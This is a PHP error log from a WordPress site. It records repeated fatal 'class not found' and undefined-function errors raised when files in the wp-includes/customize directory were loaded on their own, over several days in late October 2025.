[28-Oct-2025 17:21:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[28-Oct-2025 17:22:56 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[28-Oct-2025 17:24:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[28-Oct-2025 17:25:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[28-Oct-2025 17:26:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[28-Oct-2025 17:27:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[28-Oct-2025 17:28:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[28-Oct-2025 17:29:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[28-Oct-2025 17:30:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[28-Oct-2025 17:31:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[28-Oct-2025 17:32:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[28-Oct-2025 17:33:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[28-Oct-2025 17:34:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[28-Oct-2025 17:35:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[28-Oct-2025 17:37:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[28-Oct-2025 17:38:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
[28-Oct-2025 17:41:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[28-Oct-2025 17:42:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[28-Oct-2025 17:43:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[28-Oct-2025 17:44:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[28-Oct-2025 17:45:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[29-Oct-2025 19:20:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-custom-css-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19
[29-Oct-2025 22:47:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
[29-Oct-2025 22:47:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[29-Oct-2025 22:47:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[29-Oct-2025 22:47:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php on line 19
[29-Oct-2025 22:47:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[29-Oct-2025 22:47:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[29-Oct-2025 22:47:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[29-Oct-2025 22:47:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18
[29-Oct-2025 22:47:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[29-Oct-2025 22:47:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[29-Oct-2025 22:47:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[29-Oct-2025 22:52:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[29-Oct-2025 22:52:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[29-Oct-2025 22:52:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[29-Oct-2025 22:52:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[29-Oct-2025 22:53:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[29-Oct-2025 22:53:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[29-Oct-2025 22:56:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[29-Oct-2025 22:57:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[29-Oct-2025 22:57:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[29-Oct-2025 22:57:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[29-Oct-2025 22:57:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[29-Oct-2025 22:57:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[29-Oct-2025 22:57:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[29-Oct-2025 22:57:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[29-Oct-2025 22:57:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[29-Oct-2025 22:57:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[30-Oct-2025 01:10:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[30-Oct-2025 01:17:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[30-Oct-2025 01:17:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[30-Oct-2025 01:17:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[30-Oct-2025 03:30:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[30-Oct-2025 03:30:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-custom-css-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19
[30-Oct-2025 03:50:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[31-Oct-2025 14:03:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[31-Oct-2025 14:08:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[31-Oct-2025 14:29:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18
[31-Oct-2025 14:33:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[31-Oct-2025 14:33:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[31-Oct-2025 14:34:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[31-Oct-2025 14:47:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[31-Oct-2025 15:11:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[31-Oct-2025 15:21:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[31-Oct-2025 15:58:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[31-Oct-2025 16:08:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[31-Oct-2025 16:46:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[31-Oct-2025 17:04:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[31-Oct-2025 17:04:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[31-Oct-2025 17:38:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[31-Oct-2025 17:41:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[31-Oct-2025 17:46:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[31-Oct-2025 18:06:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php on line 19
[31-Oct-2025 18:45:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[31-Oct-2025 18:53:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[31-Oct-2025 19:03:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[31-Oct-2025 19:08:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
